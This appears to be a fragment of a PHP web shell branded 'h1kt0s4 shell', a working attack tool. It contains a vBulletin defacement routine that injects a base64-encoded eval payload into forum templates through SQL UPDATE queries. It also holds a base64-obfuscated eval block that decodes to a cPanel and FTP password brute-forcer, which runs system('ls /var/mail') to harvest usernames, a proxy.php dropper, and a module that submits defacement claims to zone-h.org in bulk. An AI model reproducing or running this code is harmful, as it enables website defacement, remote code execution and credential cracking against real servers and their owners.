		color: #cccccc;
		background-color: #000000;
	}
	sy  
	{
		color:".$shellColor.";
		font-size:7pt;
		font-weight: bold;
	}
	#Box
	{
	color:".$shellColor.";
	font-size:14px;
	background-color:#000;
	font-weight:bold;
	}
	tr 
	{
	BORDER-RIGHT:  #cccccc 1px solid;
	BORDER-TOP:    #cccccc 1px solid;
	BORDER-LEFT:   #cccccc 1px solid;
	BORDER-BOTTOM: #cccccc 1px solid;
	color: #ffffff;
	}
	td 
	{
	BORDER-RIGHT:  #cccccc 1px solid;
	BORDER-TOP:    #cccccc 1px solid;
	BORDER-LEFT:   #cccccc 1px solid;
	BORDER-BOTTOM: #cccccc 1px solid;
	color: #cccccc;
	}
	.table1 
	{
	BORDER: 1px none;
	BACKGROUND-COLOR: #000000;
	color: #333333
	}
	.td1 
	{
	BORDER: 1px none;
	color: #ffffff; font-style:normal; 
	font-variant:normal;
	font-weight:normal;
	font-size:7pt;
	font-family:tahoma
	}
	.tr1 
	{
	BORDER: 1px none;
	color: #cccccc;
	}
	table 
	{
	BORDER:  #eeeeee  outset;
	BACKGROUND-COLOR: #000000;
	color: #cccccc;
	}
	input 
	{
	BORDER-RIGHT:  ".$shellColor." 1px solid;
	BORDER-TOP:    ".$shellColor." 1px solid;
	BORDER-LEFT:   ".$shellColor." 1px solid;
	BORDER-BOTTOM: ".$shellColor." 1px solid;
	BACKGROUND-COLOR: #333333;
	font: 9pt tahoma;
	color: #ffffff;
	}
	select 
	{
	BORDER-RIGHT:  #ffffff 1px solid;
	BORDER-TOP:    #999999 1px solid;
	BORDER-LEFT:   #999999 1px solid;
	BORDER-BOTTOM: #ffffff 1px solid;
	BACKGROUND-COLOR: #000000;
	font: 9pt tahoma;
	color: #CCCCCC;;
	}
	submit 
	{
	BORDER:  1px outset buttonhighlight;
	BACKGROUND-COLOR: #272727;
	width: 40%;
	color: #cccccc;
	}
	textarea 
	{
	BORDER-RIGHT:  #ffffff 1px solid;
	BORDER-TOP:    #999999 1px solid;
	BORDER-LEFT:   #999999 1px solid;
	BORDER-BOTTOM: #ffffff 1px solid;
	BACKGROUND-COLOR: #333333;
	color: #ffffff;
	}
";
$shellColor = '#990000';
}
if(isset($_GET['phpproxy']))
{

cf("proxy.php",$phpproxy);
$_POST['cmd'] == "proxy.php was created";

}
if(isset($_GET['scriptt'])){echo $head; echo "
<title>Vbulletin Deface</title>
<style type='text/css'>
.style1 {
	color: #FFFFFF;
}
.style2 {
	font-family: Arial;
	color: #FFFFFF;
}
.style3 {
	text-align: center;
}
.style4 {
	font-family: Arial;
}
</style>

</head>

<center>
<h2 class='style1'>Vbulletin Deface</h2><div id=haberler align=left><form method=POST action=''>
<p align=center class='style1'>&nbsp;</p>	
	<div class='style3'>
		<span class='style2'>Host</span><font face='Arial' color='#ffffff'>:</font><span class='style1'>&nbsp;&nbsp;&nbsp;&nbsp; <input type=text name=dbh value=localhost size='15' ></span>

		  <font face='Arial' color='#ffffff'>&nbsp;db_Name:</font><span class='style1'><input type=text name=dbn size='15' ><br>
           Username</span><font face='Arial' color='#ffffff'>:</font><span class='style1'><input type=text name=dbu size='15' ></span>

		<font face='Arial' color='#ffffff'>&nbsp;password:&nbsp; </font><span class='style1'><input type=text name=dbp size='16' ><br>
          </span>
          </div>
<center class='style1'>

		  <textarea name=index rows='13' cols='38' >index  was Here!';</textarea></center>
<center class='style1'><input type=submit value='Deface It!!!' ></form></center></center></body>
</center>
</html>";



$h4cker="[Edited] by h1kt0s4";


if (!empty($_POST['dbh']) && !empty($_POST['dbn']) && !empty($_POST['dbu']) && !empty($_POST['index']))
{
$dbh = $_POST['dbh'];
$dbn = $_POST['dbn'];
$dbu = $_POST['dbu'];
$dbp = $_POST['dbp'];

$index=str_replace("\'","'",$index);
$set_index  = "{\${eval(base64_decode(\'".base64_encode($index);
//$set_index .= base64_encode("eval ('$index');");
$set_index .= "\'))}}{\${exit()}}";

mysql_connect($dbh,$dbu,$dbp) or die(mysql_error());
mysql_select_db($dbn) or die(mysql_error());
$fatal1 = "UPDATE template SET template='".$set_index."".$h4cker."' WHERE title='spacer_open'";
$fatal2 = "UPDATE template SET template='".$set_index."".$h4cker."' WHERE title='FORUMHOME'";
$fatal3 = "UPDATE style SET css='".$set_index."".$h4cker."', stylevars='', csscolors='', editorstyles=''";
$result = mysql_query($fatal1) or die (mysql_error());
$result2 = mysql_query($fatal2) or die (mysql_error());
$result3 = mysql_query($fatal3) or die (mysql_error());

if ($result && $result2 && $result3) {
echo "Ok ..";
}
}
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();}

# Footer



if(isset($_GET['xp']))
{
eval(base64_decode('aWYoJGF1dGggPT0gMSkgewppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8
IG1kNSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSE9PSRuYW1lIHx8IG1kNSgkX1NFUlZFUlsn
UEhQX0FVVEhfUFcnXSkhPT0kcGFzcykKICAgewogICBoZWFkZXIoJ1dXVy1BdXRoZW50aWNhdGU6
IEJhc2ljIHJlYWxtPSIwZGF5LmNvbSInKTsKICAgaGVhZGVyKCdIVFRQLzEuMCA0MDEgVW5hdXRo
b3JpemVkJyk7CiAgIGV4aXQoIjxiPldyb25nIHVzZXIgb3IgcGFzcyAhITwvYj4iKTsKICAgfQp9
CgokY29ubmVjdF90aW1lb3V0PTU7CnNldF90aW1lX2xpbWl0KDApOwokc3VibWl0PSRfUkVRVUVT
VFsnc3VibWl0J107CiR1c2Vycz0kX1JFUVVFU1RbJ3VzZXJzJ107CiRwYXNzPSRfUkVRVUVTVFsn
cGFzc3dvcmRzJ107CiR0YXJnZXQ9JF9SRVFVRVNUWyd0YXJnZXQnXTsKJGNyYWNrdHlwZT0kX1JF
UVVFU1RbJ2NyYWNrdHlwZSddOwoKCmlmKCR0YXJnZXQgPT0gIiIpewokdGFyZ2V0ID0gImxvY2Fs
aG9zdCI7Cn0KCj8+CjxodG1sPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5n
dWFnZSIgY29udGVudD0iZW4tdXMiPgo8L2hlYWQ+Cjx0aXRsZT5DcGFuZWwgKyBGVFAgQ3JhY2tl
cjwvdGl0bGU+Cjxib2R5IHRleHQ9IiMwMEZGMDAiIGJnY29sb3I9IiMwMDAwMDAiIHZsaW5rPSIj
MDA4MDAwIiBsaW5rPSIjMDA4MDAwIiBhbGluaz0iIzAwODAwMCI+CjxkaXYgYWxpZ249ImNlbnRl
ciI+Cjxmb3JtIG1ldGhvZD0iUE9TVCIgc3R5bGU9ImJvcmRlcjogMXB4IHNvbGlkICMwMDAwMDAi
Pgo8dGFibGUgd2lkdGg9IjY3JSIgc3R5bGU9ImJvcmRlcjogMnB4IGRhc2hlZCAjMUQxRDFEOyBi
YWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOyBjb2xvcjojQzBDMEMwIj4KPHRyPjx0ZCBhbGlnbj1j
ZW50ZXI+CiA8Zm9udCBmYWNlPSJDb3VyaWVyIE5ldyIgc2l6ZT00IGNvbG9yPXllbGxvdz5DcGFu
ZWwgKyBGVFAgQ3JhY2tlcjwvZm9udD4KPC90ZD48L3RyPgo8L3RhYmxlPgo8YnIgLz4KPD9waHAK
ZnVuY3Rpb24gZnRwX2NoZWNrKCRob3N0LCR1c2VyLCRwYXNzLCR0aW1lb3V0KXsKJGNoID0gY3Vy
bF9pbml0KCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICJmdHA6Ly8kaG9zdCIpOwpj
dXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwpjdXJsX3NldG9wdCgk
Y2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTsKY3VybF9zZXRvcHQoJGNoLCBD
VVJMT1BUX0ZUUExJU1RPTkxZLCAxKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJQV0Qs
ICIkdXNlcjokcGFzcyIpOwpjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VU
LCAkdGltZW91dCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GQUlMT05FUlJPUiwgMSk7CiRk
YXRhID0gY3VybF9leGVjKCRjaCk7CmlmICggY3VybF9lcnJubygkY2gpID09IDI4ICkgeyBwcmlu
dCAiPGI+PGZvbnQgZmFjZT1cIlZlcmRhbmFcIiBzdHlsZT1cImZvbnQtc2l6ZTogOXB0XCI+Cjxm
b250IGNvbG9yPVwiI0FBMDAwMFwiPkVycm9yIDo8L2ZvbnQ+IDxmb250IGNvbG9yPVwiIzAwODAw
MFwiPkNvbm5lY3Rpb24gVGltZW91dApQbGVhc2UgQ2hlY2sgVGhlIFRhcmdldCBIb3N0bmFtZSAu
PC9mb250PjwvZm9udD48L2I+PC9wPiI7ZXhpdDt9CmVsc2VpZiAoIGN1cmxfZXJybm8oJGNoKSA9
PSAwICl7CnByaW50ICI8dGFibGUgd2lkdGg9JzY3JScgc3R5bGU9J2JvcmRlcjogMnB4IGRhc2hl
ZCAjMUQxRDFEOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOyBjb2xvcjojQzBDMEMwJz48dHI+
PHRkIGFsaWduPWNlbnRlcj48Yj48Zm9udCBmYWNlPVwiVGFob21hXCIgY29sb3I9XCIjRkYwMDAw
XCI+WytdPC9mb250Pjxmb250PgpDcmFja2luZyBTdWNjZXNzIFdpdGggVXNlcm5hbWUgKDwvZm9u
dD48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj4kdXNlcjwvZm9udD48Zm9udD4pIGFuZCBQYXNzd29y
ZCAoPC9mb250Pjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPiRwYXNzPC9mb250Pjxmb250IGNvbG9y
PVwiIzAwODAwMFwiPik8L2ZvbnQ+PC9iPjwvdGQ+PC90cj48L3RhYmxlPiI7fWN1cmxfY2xvc2Uo
JGNoKTt9CmZ1bmN0aW9uIGNwYW5lbF9jaGVjaygkaG9zdCwkdXNlciwkcGFzcywkdGltZW91dCl7
CiRjaCA9IGN1cmxfaW5pdCgpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAiaHR0cDov
LyRob3N0OjIwODIiKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAx
KTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBBVVRILCBDVVJMQVVUSF9CQVNJQyk7CmN1
cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSUFdELCAiJHVzZXI6JHBhc3MiKTsKY3VybF9zZXRv
cHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOwpjdXJsX3NldG9wdCgk
Y2gsIENVUkxPUFRfRkFJTE9ORVJST1IsIDEpOwokZGF0YSA9IGN1cmxfZXhlYygkY2gpOwppZiAo
IGN1cmxfZXJybm8oJGNoKSA9PSAyOCApIHsgcHJpbnQgIjxiPjxmb250IGZhY2U9XCJWZXJkYW5h
XCIgc3R5bGU9XCJmb250LXNpemU6IDlwdFwiPgo8Zm9udCBjb2xvcj1cIiNBQTAwMDBcIj5FcnJv
ciA6PC9mb250PiA8Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj5Db25uZWN0aW9uIFRpbWVvdXQKUGxl
YXNlIENoZWNrIFRoZSBUYXJnZXQgSG9zdG5hbWUgLjwvZm9udD48L2ZvbnQ+PC9iPjwvcD4iO2V4
aXQ7fQplbHNlaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMCApewpwcmludCAiPHRhYmxlIHdpZHRo
PSc2NyUnIHN0eWxlPSdib3JkZXI6IDJweCBkYXNoZWQgIzFEMUQxRDsgYmFja2dyb3VuZC1jb2xv
cjogIzAwMDAwMDsgY29sb3I6I0MwQzBDMCc+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGI+PGZvbnQg
ZmFjZT1cIlRhaG9tYVwiIGNvbG9yPVwiI0ZGMDAwMFwiPlsrXTwvZm9udD48Zm9udD4KQ3JhY2tp
bmcgU3VjY2VzcyBXaXRoIFVzZXJuYW1lICg8L2ZvbnQ+PGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+
JHVzZXI8L2ZvbnQ+PGZvbnQ+KSBhbmQgUGFzc3dvcmQgKDwvZm9udD48Zm9udCBjb2xvcj1cIiNG
RjAwMDBcIj4kcGFzczwvZm9udD48Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj4pPC9mb250PjwvYj48
L3RkPjwvdHI+PC90YWJsZT4iO31jdXJsX2Nsb3NlKCRjaCk7fQppZihpc3NldCgkc3VibWl0KSAm
JiAhZW1wdHkoJHN1Ym1pdCkpewppZihlbXB0eSgkdXNlcnMpICYmIGVtcHR5KCRwYXNzKSl7IHBy
aW50ICI8cD48Zm9udCBmYWNlPVwiVGFob21hXCIgc2l6ZT1cIjJcIj48Yj48Zm9udCBjb2xvcj1c
IiNGRjAwMDBcIj5FcnJvciA6IDwvZm9udD5QbGVhc2UgQ2hlY2sgVGhlIFVzZXJzIG9yIFBhc3N3
b3JkIExpc3QgRW50cnkgLiAuIC48L2I+PC9mb250PjwvcD4iOyBleGl0OyB9CmlmKGVtcHR5KCR1
c2VycykpeyBwcmludCAiPHA+PGZvbnQgZmFjZT0nVGFob21hJyBzaXplPScyJz48Yj48Zm9udCBj
b2xvcj0nI0ZGMDAwMCc+RXJyb3IgOiA8L2ZvbnQ+UGxlYXNlIENoZWNrIFRoZSBVc2VycyBMaXN0
IEVudHJ5IC4gLiAuPC9iPjwvZm9udD48L3A+IjsgZXhpdDsgfQppZihlbXB0eSgkcGFzcykgKXsg
cHJpbnQgIjxwPjxmb250IGZhY2U9J1RhaG9tYScgc2l6ZT0nMic+PGI+PGZvbnQgY29sb3I9JyNG
RjAwMDAnPkVycm9yIDogPC9mb250PlBsZWFzZSBDaGVjayBUaGUgUGFzc3dvcmQgTGlzdCBFbnRy
eSAuIC4gLjwvYj48L2ZvbnQ+PC9wPiI7IGV4aXQ7IH07CiR1c2VybGlzdD1leHBsb2RlKCJcbiIs
JHVzZXJzKTsKJHBhc3NsaXN0PWV4cGxvZGUoIlxuIiwkcGFzcyk7CnByaW50ICI8Yj48Zm9udCBm
YWNlPVwiVGFob21hXCIgc3R5bGU9XCJmb250LXNpemU6IDlwdFwiIGNvbG9yPVwiIzAwODAwMFwi
Plt+XSM8L2ZvbnQ+PGZvbnQgZmFjZT1cIlRhaG9tYVwiIHN0eWxlPVwiZm9udC1zaXplOiA5cHRc
IiBjb2xvcj1cIiNGRjAwMDBcIj4KQ3JhY2tpbmcgUHJvY2VzcyBTdGFydGVkLCBQbGVhc2UgV2Fp
dCAuLi48L2ZvbnQ+PC9iPjxicj48YnI+IjsKZm9yZWFjaCAoJHVzZXJsaXN0IGFzICR1c2VyKSB7
CiRwdXJldXNlciA9IHRyaW0oJHVzZXIpOwpmb3JlYWNoICgkcGFzc2xpc3QgYXMgJHBhc3N3b3Jk
ICkgewokcHVyZXBhc3MgPSB0cmltKCRwYXNzd29yZCk7CmlmKCRjcmFja3R5cGUgPT0gImZ0cCIp
ewpmdHBfY2hlY2soJHRhcmdldCwkcHVyZXVzZXIsJHB1cmVwYXNzLCRjb25uZWN0X3RpbWVvdXQp
Owp9CmlmICgkY3JhY2t0eXBlID09ICJjcGFuZWwiKQp7CmNwYW5lbF9jaGVjaygkdGFyZ2V0LCRw
dXJldXNlciwkcHVyZXBhc3MsJGNvbm5lY3RfdGltZW91dCk7Cn0KfQp9Cn0KPz48PwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ2VudGVyJ10pewplY2hvICI8Zm9y
bSBtZXRob2Q9UE9TVCBhY3Rpb249Jyc+PHRhYmxlIHdpZHRoPSc2NyUnIHN0eWxlPSdib3JkZXI6
IDJweCBkYXNoZWQgIzFEMUQxRDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6I0Mw
QzBDMCc+CiAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4g
PGJyIC8+CiAgICAgICAgPHAgYWxpZ249J2NlbnRlcic+PGI+PGZvbnQgY29sb3I9JyNGRjAwMDAn
PgogICAgICAgICAgICAgICAgPHNwYW4gbGFuZz0nZW4tdXMnPlNlcnZlcidzIElQPC9zcGFuPiA6
PC9mb250Pjxmb250IGZhY2U9J0FyaWFsJz4KICAgICAgICA8L2ZvbnQ+PGZvbnQgZmFjZT0nQXJp
YWwnIGNvbG9yPScjQ0MwMDAwJz4KICAgICAgICA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndGFy
Z2V0JyBzaXplPScxNicgdmFsdWU9JHRhcmdldCBzdHlsZT0nYm9yZGVyOiAycHggZGFzaGVkICMx
RDFEMUQ7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiNDMEMwQzAnPjwvZm9udD48
L2I+PC9wPgogICAgICAgIDxwIGFsaWduPSdjZW50ZXInPjxiPjxmb250IGNvbG9yPScjMDA4MDAw
JyBmYWNlPSdUYWhvbWEnIHNpemU9JzInPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu
YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw
OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu
YnNwOyA8L2ZvbnQ+PC9iPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBhbGlnbj0n
Y2VudGVyJz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGFibGUgd2lkdGg9JzU1
JScgc3R5bGU9J2JvcmRlcjogMnB4IGRhc2hlZCAjMUQxRDFEOyBiYWNrZ3JvdW5kLWNvbG9yOiAj
MDAwMDAwOyBjb2xvcjojQzBDMEMwJz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgPHRkIGFsaWduPSdjZW50ZXInPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICA8c3BhbiBsYW5nPSdlbi11cyc+PGZvbnQgY29sb3I9JyNGRjAwMDAnPjxiPlVzZXJuYW1l
PC9iPjwvZm9udD48L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICA8cCBhbGlnbj0nY2VudGVyJz4KICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgPHNwYW4gbGFuZz0nZW4tdXMnPjxmb250IGNvbG9yPScjRkYwMDAwJz48Yj5Q
YXNzd29yZDwvYj48L2ZvbnQ+PC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGFi
bGU+CgogICAgICAgICAgICAgICAgICAgICAgICA8cCBhbGlnbj0nY2VudGVyJz4mbmJzcDs8dGV4
dGFyZWEgcm93cz0nMjAnIG5hbWU9J3VzZXJzJyBjb2xzPScyNScgc3R5bGU9J2JvcmRlcjogMnB4
IGRhc2hlZCAjMUQxRDFEOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOyBjb2xvcjojQzBDMEMw
Jz4iOwoKICAgICAgc3lzdGVtKCdscyAvdmFyL21haWwnKTsKCmVjaG8gIjwvdGV4dGFyZWE+PHRl
eHRhcmVhIHJvd3M9JzIwJyBuYW1lPSdwYXNzd29yZHMnIGNvbHM9JzI1JyBzdHlsZT0nYm9yZGVy
OiAycHggZGFzaGVkICMxRDFEMUQ7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiND
MEMwQzAnPjEyMzEyM1xuMTIzNDU2XG4xMjM0NTY3XG4xMjM0NTY3OFxuMTIzNDU2Nzg5XG4xNTkx
NTlcbjExMjIzM1xuMzMyMjExXG4xNDc4OTYzXG4xNDc4OTYzLlxuY3BhbmVsXG5wYXNzd29yZFxu
dXNlclxucGFzc3dkXG5wYXNzd29yZHNcbjE1OTM1N1xuMzU3OTUxXG4xMTQ0NzdcbnBhc3NcblBh
c3N3b3JkXG5QYXNzV29yZFxucGFzczQ0MzMyMjExXG5hc2RmcmV3cVxuYWRtaW5pXG5hZG1pbjEx
MVxucWF3c2VkcmZcbjFxdzIzZXI0XG4xcWFzdzJcbnBhc3NhYXBcbjwvdGV4dGFyZWE+PGJyPgog
ICAgICAgIDxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxiPiA8Zm9udCBmb250
IGNvbG9yPScjRkYwMDAwJz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgR3Vlc3Mgb3B0aW9uczwvZm9udD48L2I+PGZvbnQgc3R5bGU9J2ZvbnQtc2l6ZTog
MTJwdDsnIHNpemU9Jy0zJyBmYWNlPSdWZXJkYW5hJz48c3BhbiBzdHlsZT0nZm9udC1zaXplOiA5
cHQ7Jz4mbmJzcDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgPGZvbnQgZmFjZT0nVGFob21hJz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgPGlucHV0IG5hbWU9J2NyYWNrdHlwZScgdmFsdWU9J2NwYW5lbCcgc3R5
bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7JyBjaGVja2VkIHR5cGU9J3JhZGlvJz48L2ZvbnQ+PC9zcGFu
PjwvZm9udD48Yj48Zm9udCBzaXplPScyJyBmYWNlPSdUYWhvbWEnPgogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcGFuZWw8L2ZvbnQ+PGZvbnQgc2l6ZT0n
MicgY29sb3I9JyNjYzAwMDAnIGZhY2U9J1RhaG9tYSc+CiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9udD48Zm9udCBzaXplPScyJyBjb2xvcj0nI0ZG
RkZGRicgZmFjZT0nVGFob21hJz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgKDIwODIpPC9mb250PjwvYj48Zm9udCBzaXplPScyJyBmYWNlPSdUYWhvbWEn
PjxiPiA8L2I+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IDwvZm9udD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
PGZvbnQgc3R5bGU9J2ZvbnQtc2l6ZTogMTJwdDsnIHNpemU9Jy0zJyBmYWNlPSdWZXJkYW5hJz4K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gc3R5
bGU9J2ZvbnQtc2l6ZTogOXB0Oyc+PGZvbnQgZmFjZT0nVGFob21hJz4KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IG5hbWU9J2NyYWNrdHlwZScg
dmFsdWU9J2Z0cCcgc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7JyB0eXBlPSdyYWRpbyc+PC9mb250
Pjwvc3Bhbj48L2ZvbnQ+PGZvbnQgc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7JyBzaXplPScyJyBm
YWNlPSdUYWhvbWEnPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICA8L2ZvbnQ+PHNwYW4gc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7Jz4KICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc2l6ZT0nMicgZmFjZT0n
VGFob21hJz5GdHAgPC9mb250PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICA8Zm9udCBzaXplPScyJyBjb2xvcj0nI0ZGRkZGRicgZmFjZT0nVGFob21hJz4K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKDIxKTwvZm9u
dD48L3NwYW4+PC9wPgogICAgICAgIDxwIGFsaWduPSdjZW50ZXInPjxvcHRpb24gdmFsdWU9J25h
bWUnPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOwogICAgICAgIDxpbnB1dCB0eXBlPSdzdWJtaXQn
IHZhbHVlPScgICBDcmFjayBpdCAhICAgJyBuYW1lPSdzdWJtaXQnIHN0eWxlPSdjb2xvcjogI0ZG
MDAwMDsgZm9udC13ZWlnaHQ6IGJvbGQ7IGJvcmRlcjogMXB4IGRhc2hlZCAjMzMzMzMzOyBiYWNr
Z3JvdW5kLWNvbG9yOiAjMDAwMDAwJz48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+
CiAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgogICAgPHAgYWxpZ249J2Nl
bnRlcic+PC90ZD4KICA8L3RyPgogIDwvZm9ybT4KCiAgIjtkaWUoKTsKfQo/PgogPHRhYmxlIHdp
ZHRoPSc2NyUnIHN0eWxlPSdib3JkZXI6IDJweCBkYXNoZWQgIzFEMUQxRDsgYmFja2dyb3VuZC1j
b2xvcjogIzAwMDAwMDsgY29sb3I6I0MwQzBDMCc+Cjx0cj48dGQgYWxpZ249Y2VudGVyPjxmb3Jt
IG1ldGhvZD1QT1NUIGFjdGlvbj0nJyBhbGlnbj1jZW50ZXI+PGJyIC8+PGlucHV0IHR5cGU9c3Vi
bWl0IG5hbWU9ZW50ZXIgdmFsdWU9IiBFbnRlciAiIHN0eWxlPSdjb2xvcjogI0ZGMDAwMDsgZm9u
dC13ZWlnaHQ6IGJvbGQ7IGJvcmRlcjogMXB4IGRhc2hlZCAjMzMzMzMzOyBiYWNrZ3JvdW5kLWNv
bG9yOiAjMDAwMDAwJyAvPjwvZm9ybT48L3RkPjwvdHI+PC90YWJsZT48YnIgLz4K'));
  echo '</table>';
  die();
 }



if(isset($_GET['zone']))
{

ob_start();
    set_time_limit(0);
    error_reporting(0);
    echo '<title>h1kt0s4</title><center><form method="post" action="">
    name:=> <input type="text" name="defacer"><br><br>
    <textarea name="siteler" cols="30" rows="20"></textarea><br>
    <input type="submit" value="SEND">
    </form></center>';

    $defacer = $_POST['defacer'];
    $siteler = explode("\r\n",$_POST['siteler']);
    foreach($siteler as $yenisiteler){
    $trim=trim($yenisiteler);
    $sil = ereg_replace("http","",$trim);
    $sil2 = ereg_replace("://","",$sil);
    $ekle = "http%3A%2F%2F$sil2";
    $curl = curl_init();
      $header[] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
      $header[] = "Cache-Control: private, max-age=0";
      $header[] = "Connection: keep-alive";
      $header[] = "Keep-Alive: 115";
      $header[] = "Accept-Charset: ISO-8859-9,utf-8;q=0.7,*;q=0.7";
      $header[] = "Accept-Language: tr-TR,tr;q=0.8,en-us;q=0.5,en;q=0.3";
      $header[] = "Pragma: ";

    $git = "http://zone-h.org/notify/single";

    curl_setopt($curl, CURLOPT_URL,$git);
      curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)');
      curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
      curl_setopt($curl, CURLOPT_REFERER, 'http://zone-h.org/notify/single');
      curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
      curl_setopt($curl, CURLOPT_POST,1);
      curl_setopt($curl, CURLOPT_POSTFIELDS,"defacer=$defacer&domain1=$ekle&hackmode=30&reason=1");
      curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
      curl_setopt($curl, CURLOPT_TIMEOUT, 10);
    $exec = curl_exec($curl);

    if(! $exec==""){
    echo '<center> Ok..<br></center>';
    ob_flush();
    flush();
    }
    }
	echo '<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>h1kt0s4 shell</title>
<STYLE>

tr {

BORDER-RIGHT:  black 1px solid;

BORDER-TOP:    black 1px solid;

BORDER-LEFT:   black 1px solid;

BORDER-BOTTOM: black 1px solid;

BORDER-COLOR: black;

color: silver;

}

td {

BORDER-RIGHT:  black 1px solid;

BORDER-TOP:    black 1px solid;

BORDER-LEFT:   black 1px solid;

BORDER-BOTTOM: black 1px solid;

BORDER-COLOR: black;

background-color:black;

color: white;

}



.table1 {

BORDER: 0px;

BORDER-COLOR: #333333;

